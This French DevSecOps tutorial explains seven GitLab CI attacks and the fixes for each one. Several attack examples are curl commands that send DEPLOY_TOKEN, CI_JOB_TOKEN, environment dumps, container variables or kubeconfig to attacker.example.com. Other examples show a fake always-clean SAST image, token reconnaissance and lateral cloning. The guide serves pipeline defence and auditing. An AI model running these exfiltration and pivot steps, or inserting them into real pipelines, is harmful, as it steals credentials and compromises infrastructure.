Aller au contenu
CI/CD & Automatisation medium

GitLab CI : 7 attaques qui ciblent vos pipelines

30 min de lecture

Vos pipelines GitLab CI contiennent probablement des failles exploitables sans accès direct à votre infrastructure. Ce n’est pas de la théorie : ces vecteurs sont documentés par l’OWASP (CICD-SEC-04), exploités en production, et souvent activés par défaut. Ce guide détaille 7 attaques concrètes, chacune racontée du point de vue de l’attaquant, puis corrigée pas à pas.

Pour comprendre les attaques, il faut d’abord comprendre ce qui rend GitLab CI vulnérable par conception :

  • Le .gitlab-ci.yml vit dans le dépôt : tout utilisateur ayant le droit de commit peut modifier la logique du pipeline. Un rôle Developer suffit pour modifier la CI sur une branche non protégée.
  • Les Merge Requests de fork déclenchent des pipelines dans le projet parent : par défaut, GitLab exécute le .gitlab-ci.yml du fork dans le contexte du projet parent.
  • Les variables CI/CD non protégées sont injectées partout : y compris dans les pipelines déclenchés par un fork. Si votre DEPLOY_TOKEN n’est pas marqué “Protected”, il est accessible à un attaquant externe.
  • Le CI_JOB_TOKEN est trop permissif : sur les projets créés avant GitLab 15.9, ce token permet d’accéder à tous les projets de l’organisation.
  • Les variables du .gitlab-ci.yml écrasent les variables de la CI settings : un développeur peut redéfinir SECURE_ANALYZERS_PREFIX pour contourner silencieusement les scanners de sécurité.

L’OWASP classe ces vecteurs sous le nom Poisoned Pipeline Execution (PPE), dans le top 10 des risques CI/CD.

Attaque n°1 — Direct PPE : l’attaquant modifie le .gitlab-ci.yml

Section intitulée « Attaque n°1 — Direct PPE : l’attaquant modifie le .gitlab-ci.yml »

Dans GitLab, tout utilisateur ayant le rôle Developer peut créer une branche et y pousser du code. Si la branche n’est pas protégée, le pipeline s’exécute automatiquement avec le .gitlab-ci.yml modifié par le développeur. Aucune review n’est requise.

Voici un pipeline typique où le job deploy utilise un secret :

.gitlab-ci.yml — Le pipeline de l'équipe
stages:
- test
- deploy
test:
stage: test
script:
- npm install
- npm test
deploy:
stage: deploy
script:
- echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin
- docker push registry.example.com/app:$CI_COMMIT_SHA

Le DEPLOY_TOKEN est stocké dans Settings > CI/CD > Variables, mais sans la case “Protected” cochée. Résultat : il est injecté dans tous les pipelines, sur toutes les branches.

Un développeur malveillant (ou un compte compromis) procède ainsi :

  1. Il crée une branche feature/update-tests dans le projet
  2. Il modifie le .gitlab-ci.yml sur cette branche pour exfiltrer les secrets :
.gitlab-ci.yml — Ce que l'attaquant pousse sur sa branche
test:
stage: test
script:
# Le vrai test passe normalement — rien de suspect dans les logs
- npm test
# L'exfiltration se fait en une seule ligne, silencieusement
- curl -s https://attacker.example.com/collect
-d "token=$DEPLOY_TOKEN"
-d "ci_token=$CI_JOB_TOKEN"
-d "project=$CI_PROJECT_PATH"
  1. Il pousse le commit — le pipeline démarre automatiquement
  2. Le runner exécute le job test avec les vraies variables CI/CD
  3. Le DEPLOY_TOKEN et le CI_JOB_TOKEN sont envoyés au serveur de l’attaquant
  4. L’attaquant peut maintenant pousser des images dans votre registre Docker

Pourquoi ça marche : le pipeline exécute le .gitlab-ci.yml tel qu’il existe dans la branche, pas dans main. Et les variables non protégées sont injectées dans tous les pipelines, même sur les branches non protégées.

  1. Marquer toutes les variables sensibles comme “Protected”

    Dans Settings > CI/CD > Variables, cocher Protected pour chaque secret. Les variables protégées ne sont injectées que dans les pipelines exécutés sur des branches ou tags protégés. Un pipeline sur feature/update-tests n’y aura plus accès.

  2. Restreindre les jobs sensibles aux branches protégées

    .gitlab-ci.yml — CORRIGÉ
    deploy:
    stage: deploy
    script:
    - echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin
    - docker push registry.example.com/app:$CI_COMMIT_SHA
    rules:
    # Ce job ne s'exécute que sur main (branche protégée)
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    environment:
    name: production
  3. Bloquer les scripts npm non contrôlés

    Job test corrigé
    test:
    stage: test
    script:
    # --ignore-scripts empêche les scripts preinstall/postinstall malveillants
    - npm install --ignore-scripts
    - npm test
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
Fenêtre de terminal
# Lister toutes les variables CI/CD et leur statut "protected"
# Si "protected: false" apparaît pour un secret → corriger immédiatement
curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/variables" \
| jq '.[] | {key, protected, masked}'

Attaque n°2 — Indirect PPE : empoisonner un script appelé par le pipeline

Section intitulée « Attaque n°2 — Indirect PPE : empoisonner un script appelé par le pipeline »

Admettons que votre équipe a verrouillé le .gitlab-ci.yml : il est sur une branche protégée, un CODEOWNERS exige l’approbation du security-team. Problème : le pipeline appelle des scripts stockés dans le dépôt, et ces scripts ne sont pas protégés.

.gitlab-ci.yml — Le pipeline (verrouillé dans main)
test:
stage: test
script:
- bash scripts/run-tests.sh

Le fichier scripts/run-tests.sh contient les commandes de test habituelles. Mais contrairement au .gitlab-ci.yml, n’importe quel développeur peut le modifier dans une Merge Request.

L’Indirect PPE exploite la séparation entre le fichier de pipeline (protégé) et les scripts qu’il appelle (non protégés) :

  1. L’attaquant ouvre une Merge Request légitime (ex: “Améliorer les tests”)
  2. Dans cette MR, il modifie scripts/run-tests.sh :
scripts/run-tests.sh — La modification de l'attaquant
#!/bin/bash
echo "=== Running tests ==="
# Ces 2 lignes sont ajoutées par l'attaquant, noyées parmi 50 lignes de tests
curl -s https://attacker.example.com/collect \
-d "token=$CI_JOB_TOKEN" \
-d "vars=$(env | base64)"
# Les vrais tests passent normalement — la CI est verte
npm test
  1. Le pipeline de la MR s’exécute automatiquement
  2. GitLab exécute bash scripts/run-tests.sh avec le contenu modifié de la MR
  3. Les variables d’environnement (dont CI_JOB_TOKEN) sont exfiltrées
  4. La CI affiche “Pipeline passed” — personne ne remarque rien

Pourquoi ça marche : le pipeline de MR exécute les fichiers tels qu’ils existent dans la branche source de la MR, pas dans main. Protéger le .gitlab-ci.yml ne suffit pas si les scripts qu’il appelle sont modifiables.

  1. Protéger les scripts critiques avec CODEOWNERS

    CODEOWNERS
    # Tout fichier exécuté par la CI nécessite l'approbation du security-team
    scripts/ @security-team
    .gitlab-ci.yml @security-team
    Makefile @security-team
    Dockerfile @security-team

    Dans Settings > Repository > Protected branches, activer “Require code owner approval” pour la branche main.

  2. Exiger une approbation AVANT l’exécution du pipeline de MR

    Dans Settings > General > Merge Requests, configurer :

    • “Pipelines must succeed” → activé
    • “Require approval before running pipeline” → activé (GitLab 16.3+)

    Avec ce paramètre, le pipeline de MR ne démarre pas tant qu’un mainteneur n’a pas approuvé. L’attaquant ne peut plus exfiltrer avant la review.

  3. Séparer les pipelines de MR des pipelines de branche protégée

    .gitlab-ci.yml — CORRIGÉ
    # Le pipeline de MR exécute les tests SANS accès aux secrets
    test:
    stage: test
    script:
    - npm test
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    # Le deploy n'a lieu que sur main, après merge
    deploy:
    stage: deploy
    script:
    - bash scripts/deploy.sh
    rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

Attaque n°3 — Fuite de secrets via les Merge Requests de fork

Section intitulée « Attaque n°3 — Fuite de secrets via les Merge Requests de fork »

GitLab le dit explicitement dans sa documentation :

“Fork merge requests can contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge.”

Par défaut, quand un projet accepte les MR depuis des forks, le pipeline s’exécute avec le .gitlab-ci.yml du fork. L’attaquant contrôle entièrement ce fichier.

Contrairement aux attaques n°1 et n°2, celle-ci ne nécessite aucun accès au projet cible. L’attaquant n’a besoin que d’un compte GitLab :

  1. L’attaquant forke un projet public (ou un projet interne auquel il a accès)
  2. Dans son fork, il modifie le .gitlab-ci.yml pour exfiltrer les secrets :
.gitlab-ci.yml — dans le fork de l'attaquant
exfiltrate:
stage: test
script:
# Envoyer toutes les variables d'environnement au serveur de l'attaquant
- env | grep -iE "token|key|secret|password" |
curl -s -X POST https://attacker.example.com/collect -d @-
  1. L’attaquant ouvre une MR depuis son fork vers le projet parent
  2. Le pipeline du projet parent s’exécute avec le .gitlab-ci.yml du fork
  3. Les variables CI/CD non protégées du projet parent sont injectées
  4. L’attaquant récupère DEPLOY_TOKEN, AWS_SECRET_ACCESS_KEY, etc.

Pourquoi ça marche : GitLab exécute le pipeline de MR dans le contexte du projet parent (pour avoir accès aux runners et à la configuration CI), mais utilise le .gitlab-ci.yml du fork (pour tester les changements proposés). Les variables non protégées sont injectées car le pipeline tourne sur le projet parent.

ProtectionOù l’activerPar défaut
Variables marquées “Protected”Settings > CI/CD > VariablesNon coché
Désactiver les pipelines de forkSettings > CI/CD > General pipelinesActivé (= vulnérable)
Approbation avant pipeline de forkSettings > General > Merge RequestsDésactivé
  1. Marquer chaque variable sensible comme “Protected”

    Variables protégées = injectées uniquement sur branches/tags protégés. Un pipeline de MR de fork ne tourne jamais sur une branche protégée. Résultat : les secrets ne sont plus accessibles.

  2. Désactiver les pipelines automatiques de fork

    Settings > CI/CD > General pipelines → décocher “Run pipelines in the parent project for merge requests from forks”. Les mainteneurs déclencheront manuellement le pipeline après avoir reviewé le code du fork.

  3. Détecter les forks dans le pipeline lui-même

    .gitlab-ci.yml — Garde anti-fork
    deploy:
    stage: deploy
    script:
    - bash scripts/deploy.sh
    rules:
    # Si la MR vient d'un projet différent (fork), ne pas exécuter
    - if: $CI_MERGE_REQUEST_SOURCE_PROJECT_ID != $CI_PROJECT_ID
    when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    La variable $CI_MERGE_REQUEST_SOURCE_PROJECT_ID contient l’ID du projet source de la MR. Si elle diffère de $CI_PROJECT_ID, c’est un fork.

Fenêtre de terminal
# Vérifier si les pipelines de fork sont activés
curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \
| jq '.ci_allow_fork_pipelines_to_run_in_parent_project'
# Si true → votre projet est vulnérable

Attaque n°4 — Shared runners : espionner les conteneurs voisins

Section intitulée « Attaque n°4 — Shared runners : espionner les conteneurs voisins »

Les shared runners GitLab (instance-level) sont accessibles par tous les projets de l’instance. Quand un runner utilise l’exécuteur Docker avec le mode privileged: true (nécessaire pour docker-in-docker), chaque job a accès au démon Docker de l’hôte. Tous les conteneurs des autres projets sont visibles.

Cette attaque a été documentée par Pulse Security dans leur recherche “OMGCICD” sur les instances GitLab auto-hébergées.

L’attaquant n’a besoin que d’un compte sur l’instance GitLab. Il n’a pas besoin d’accès aux projets cibles :

  1. L’attaquant crée un projet personnel sur l’instance GitLab
  2. Il ajoute ce .gitlab-ci.yml :
.gitlab-ci.yml — Le projet de l'attaquant
attack:
image: docker:latest
services:
- docker:dind
script:
# Étape 1 : lister tous les conteneurs actifs sur le runner
# (y compris ceux des autres projets qui tournent en parallèle)
- docker ps -a
# Étape 2 : extraire les variables d'environnement de chaque conteneur
- |
for container in $(docker ps -q); do
echo "=== Container $container ==="
docker inspect "$container" --format '{{.Config.Env}}' 2>/dev/null
done
# Étape 3 : exfiltrer les secrets trouvés
- docker inspect $(docker ps -q) --format '{{.Config.Env}}' |
curl -s -X POST https://attacker.example.com/collect -d @-
  1. Le pipeline tourne sur un shared runner en mode DinD
  2. Le démon Docker est partagé entre tous les conteneurs du runner
  3. L’attaquant voit les conteneurs des projets infra/production, backend/api, etc. qui tournent en parallèle
  4. Il récupère les variables d’environnement : PRIVATE_KEY, DATABASE_URL, AWS_SECRET_ACCESS_KEY

Pourquoi ça marche : le mode privileged: true donne au conteneur un accès complet au démon Docker de l’hôte. Il n’y a pas d’isolation entre les conteneurs. Pulse Security a confirmé avoir récupéré des PRIVATE_KEY, des SERVER_NAME et des TRIGGER_PAYLOAD d’autres projets via cette technique.

  1. Interdire le mode privileged sur les shared runners

    config.toml — Runner GitLab
    [[runners]]
    name = "shared-runner"
    [runners.docker]
    # Jamais privileged sur un runner partagé
    privileged = false
    # Pas de montage du socket Docker
    volumes = ["/cache"]
    # Bloque aussi l'élévation de privilèges
    cap_drop = ["ALL"]

    Sans privileged, le job ne peut pas accéder au démon Docker. Les commandes docker ps et docker inspect échouent.

  2. Désactiver les shared runners sur les projets sensibles

    Settings > CI/CD > Runners → décocher “Enable shared runners for this project”. Configurer des runners dédiés (group-level ou project-level) avec des tags :

    .gitlab-ci.yml — Forcer un runner dédié
    deploy:
    stage: deploy
    tags:
    # Ce job ne tourne que sur un runner avec ce tag
    - production-runner
    script:
    - bash scripts/deploy.sh
  3. Utiliser des runners éphémères

    Avec l’autoscaler GitLab Runner (sur Kubernetes ou instances cloud), chaque job démarre dans une VM ou un pod frais, détruit après exécution. Aucune donnée résiduelle, aucun conteneur voisin.

Fenêtre de terminal
# Vérifier si privileged est activé sur vos runners
grep -A5 "privileged" /etc/gitlab-runner/config.toml
# Si "privileged = true" sur un runner partagé → corriger immédiatement

Attaque n°5 — CI_JOB_TOKEN : pivoter vers d’autres projets

Section intitulée « Attaque n°5 — CI_JOB_TOKEN : pivoter vers d’autres projets »

GitLab injecte automatiquement un CI_JOB_TOKEN dans chaque job. Ce token permet au pipeline d’interagir avec l’API GitLab : cloner d’autres dépôts, télécharger des artefacts, déclencher des pipelines dans d’autres projets, accéder au registre de conteneurs.

Sur les projets créés avant GitLab 15.9, le scope du CI_JOB_TOKEN n’est pas restreint. Le token peut accéder à tous les projets auxquels le propriétaire du pipeline a accès.

L’attaquant a compromis un pipeline via l’attaque n°1 ou n°2. Il a accès au CI_JOB_TOKEN d’un job. Voici ce qu’il peut faire avec :

  1. Reconnaître les projets accessibles :
Reconnaissance — Commandes exécutées dans le job compromis
# Lister tous les projets accessibles avec le CI_JOB_TOKEN
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example.com/api/v4/projects?membership=true&per_page=100" \
| jq '.[].path_with_namespace'

Résultat :

"my-org/frontend"
"my-org/backend-api"
"my-org/infra-terraform"
"my-org/secrets-vault" ← jackpot
  1. Cloner un projet sensible :
Pivot — Cloner le projet secrets
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/my-org/secrets-vault.git
cat secrets-vault/production.env
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=...
# DATABASE_URL=postgres://admin:password@prod-db:5432/app
  1. Déclencher un pipeline dans un autre projet :
Pivot — Déclencher un pipeline dans infra-terraform
curl --request POST \
--form "token=$CI_JOB_TOKEN" \
--form "ref=main" \
--form "variables[TF_VAR_admin_ip]=attacker.example.com" \
"https://gitlab.example.com/api/v4/projects/42/trigger/pipeline"

Pourquoi ça marche : le CI_JOB_TOKEN hérite des permissions de l’utilisateur qui a déclenché le pipeline. Si cet utilisateur a accès à 50 projets, le token aussi. C’est du mouvement latéral automatique.

  1. Restreindre le scope du CI_JOB_TOKEN

    Dans chaque projet : Settings > CI/CD > Token Access → activer “Limit CI_JOB_TOKEN access”. Puis ajouter uniquement les projets qui doivent être accessibles :

    Par exemple, si le projet frontend a besoin de télécharger des artefacts du projet shared-libs, ajouter seulement shared-libs dans la liste.

  2. Remplacer le CI_JOB_TOKEN par des tokens dédiés

    .gitlab-ci.yml — CORRIGÉ
    deploy:
    stage: deploy
    script:
    # Token dédié avec permissions read-only sur le registre de charts
    # Stocké en variable CI protégée + masquée
    - git clone https://deploy-token:$CHARTS_READ_TOKEN@gitlab.example.com/infra/helm-charts.git
    rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    Les Project Access Tokens ou Deploy Tokens offrent un scope granulaire (read_repository, read_registry) au lieu de l’accès global du CI_JOB_TOKEN.

  3. Auditer les accès existants

    Fenêtre de terminal
    # Pour chaque projet : vérifier si le CI_JOB_TOKEN est restreint
    curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
    "https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \
    | jq '.ci_job_token_scope_enabled'
    # Si false → le token a accès à tous les projets du créateur du pipeline

Attaque n°6 — Contourner les scanners de sécurité

Section intitulée « Attaque n°6 — Contourner les scanners de sécurité »

Les templates de sécurité GitLab (SAST, DAST, Secret Detection, Dependency Scanning) téléchargent leurs images Docker depuis un registre défini par la variable SECURE_ANALYZERS_PREFIX. Cette variable peut être redéfinie dans le .gitlab-ci.yml du projet.

Un développeur peut donc remplacer les scanners officiels par des images qu’il contrôle.

L’attaquant veut merger du code contenant une backdoor sans que les scanners ne la détectent :

  1. Il crée une image Docker qui imite le scanner officiel mais retourne toujours “aucune vulnérabilité” :
Dockerfile — Faux scanner de l'attaquant
FROM alpine:3.21
# Le faux scanner ne fait rien et retourne un rapport vide
ENTRYPOINT ["sh", "-c", "echo '{\"vulnerabilities\":[]}' > gl-sast-report.json"]
  1. Il publie cette image sur un registre qu’il contrôle : attacker-registry.example.com/malicious/sast

  2. Il modifie le .gitlab-ci.yml dans une branche (ou une MR) :

.gitlab-ci.yml — L'override de l'attaquant
variables:
# Les scanners de sécurité téléchargent maintenant les images de l'attaquant
SECURE_ANALYZERS_PREFIX: "attacker-registry.example.com/malicious"
include:
- template: Security/SAST.gitlab-ci.yml
- template: Security/Secret-Detection.gitlab-ci.yml
  1. Le pipeline inclut les templates officiels, mais les jobs téléchargent les images depuis le registre de l’attaquant
  2. Les scanners retournent “0 vulnérabilité” — la merge request affiche un rapport de sécurité vierge
  3. La branche est mergée avec la backdoor que les vrais scanners auraient détectée

Pourquoi ça marche : les variables définies dans le .gitlab-ci.yml ont priorité sur les valeurs par défaut des templates. GitLab n’affiche aucun avertissement quand SECURE_ANALYZERS_PREFIX est redéfini. Le rapport de sécurité dans la MR affiche les résultats du faux scanner comme s’ils étaient légitimes.

  1. Utiliser les Scan Execution Policies (GitLab Ultimate)

    Les Scan Execution Policies exécutent les scanners dans un pipeline séparé que les développeurs ne peuvent pas modifier. La variable SECURE_ANALYZERS_PREFIX est définie dans la policy, pas dans le projet.

    C’est la solution la plus robuste, mais elle nécessite GitLab Ultimate.

  2. Détecter les overrides dans un job .pre

    Pour les éditions Free et Premium, ajoutez un job de garde :

    .gitlab-ci.yml — Job de détection
    check-analyzer-prefix:
    stage: .pre
    script:
    - |
    EXPECTED="registry.gitlab.com/security-products"
    if [ "$SECURE_ANALYZERS_PREFIX" != "$EXPECTED" ]; then
    echo "ALERTE : SECURE_ANALYZERS_PREFIX a été modifié !"
    echo " Attendu : $EXPECTED"
    echo " Trouvé : $SECURE_ANALYZERS_PREFIX"
    echo "Un développeur tente de contourner les scanners de sécurité."
    exit 1
    fi
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    Ce job se lance avant tous les autres (stage .pre). Si quelqu’un redéfinit SECURE_ANALYZERS_PREFIX, le pipeline échoue immédiatement.

  3. Verrouiller la variable au niveau groupe

    Définir SECURE_ANALYZERS_PREFIX comme variable de groupe (pas de projet) avec la valeur officielle. Les variables de groupe ont priorité sur les variables de projet dans la hiérarchie GitLab.

GitLab permet d’inclure des templates CI depuis une URL externe. C’est pratique pour partager des templates entre organisations, mais c’est aussi un vecteur de supply chain : si le serveur qui héberge le template est compromis, tous les projets qui l’incluent exécuteront du code malveillant.

Imaginez que 200 projets de votre organisation incluent un template de déploiement partagé :

.gitlab-ci.yml — dans 200 projets
include:
- remote: 'https://templates.example.com/ci/deploy.yml'

L’attaquant n’a besoin de compromettre qu’un seul serveur :

  1. L’attaquant compromet templates.example.com (exploit web, credentials volées, DNS hijacking)
  2. Il remplace deploy.yml par une version modifiée :
deploy.yml — La version modifiée par l'attaquant
deploy:
stage: deploy
script:
# Le déploiement original fonctionne normalement
- kubectl apply -f k8s/
# L'exfiltration est ajoutée discrètement
- |
curl -s https://attacker.example.com/collect \
-d "kubeconfig=$(cat ~/.kube/config | base64)" \
-d "project=$CI_PROJECT_PATH" \
-d "token=$CI_JOB_TOKEN"
  1. Le prochain pipeline de chacun des 200 projets télécharge la version modifiée
  2. L’attaquant récupère les kubeconfig de production de 200 projets

Pourquoi ça marche : include: remote télécharge le fichier à chaque exécution du pipeline, sans vérification d’intégrité. Il n’y a ni hash, ni signature, ni versionnement. C’est l’équivalent GitLab des actions GitHub non pinnées par SHA.

.gitlab-ci.yml — CORRIGÉ
include:
# Option 1 : include depuis un projet GitLab interne, épinglé à un tag
- project: 'my-org/ci-templates'
ref: 'v2.1.0' # Tag fixe, pas "main"
file: '/templates/deploy.yml'
# Option 2 : CI/CD Catalog (GitLab 17+)
- component: gitlab.example.com/my-org/ci-components/deploy@1.0.0

Règles :

  • Toujours épingler à un tag ou un SHA de commit, jamais à main ou une branche
  • Préférer project: à remote: : les includes project: pointent vers un dépôt Git interne, versionné, avec contrôle d’accès
  • Utiliser le CI/CD Catalog (GitLab 17+) pour des composants validés avec versionnement sémantique — c’est l’équivalent du GitHub Actions Marketplace, hébergé sur votre instance
#VérificationComment vérifier
1Variables sensibles marquées “Protected”Settings > CI/CD > Variables → cocher “Protected”
2Pipelines de fork MR désactivés ou soumis à approbationSettings > CI/CD > General pipelines
3CI_JOB_TOKEN scope restreint (projets créés avant 15.9)Settings > CI/CD > Token Access
4Shared runners désactivés sur les projets sensiblesSettings > CI/CD > Runners
5Pas de privileged: true sur les shared runnersgrep privileged /etc/gitlab-runner/config.toml
6SECURE_ANALYZERS_PREFIX non redéfinissable par projetScan Execution Policies ou variable groupe
7Pas de include: remote: sans versionnementgrep -r "remote:" .gitlab-ci.yml
8CODEOWNERS sur .gitlab-ci.yml, scripts/, MakefileFichier CODEOWNERS dans le dépôt
9npm install --ignore-scripts dans les jobs de test.gitlab-ci.yml
10Scan régulier avec poutinepoutine analyze_local . -s gitlab

poutine (BoostSecurity) supporte l’analyse des pipelines GitLab CI. Il détecte les patterns d’injection, les includes non épinglés, et les exécutions de code non vérifié :

Fenêtre de terminal
# Scanner un dépôt local
poutine analyze_local . -s gitlab
# Scanner un projet GitLab distant
poutine analyze_repo -s gitlab \
--token "$GITLAB_TOKEN" \
gitlab.example.com/my-org/my-project
# Scanner toute une organisation
poutine analyze_org -s gitlab \
--token "$GITLAB_TOKEN" \
gitlab.example.com/my-org

Les pipelines GitLab CI sont vulnérables aux mêmes familles d’attaques que GitHub Actions, mais avec des vecteurs spécifiques : le .gitlab-ci.yml dans le dépôt, les variables non protégées par défaut, le CI_JOB_TOKEN trop permissif.

Les 5 principes de défense :

  1. Protéger les variables : marquer chaque secret comme “Protected” pour qu’il ne soit accessible que sur les branches protégées. C’est le premier geste, le plus simple, le plus efficace.
  2. Isoler les pipelines de fork : ne jamais exécuter automatiquement le pipeline d’une MR de fork sans review. Désactiver le paramètre par défaut.
  3. Restreindre le CI_JOB_TOKEN : limiter son scope aux seuls projets nécessaires pour bloquer le mouvement latéral. Vérifier les projets créés avant GitLab 15.9.
  4. Séparer les runners : les shared runners ne doivent jamais exécuter de workloads sensibles ni tourner en mode privileged. Utilisez des runners dédiés avec tags.
  5. Versionner les includes : chaque template externe doit être épinglé à un tag ou un SHA, jamais à main ou une URL non contrôlée.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn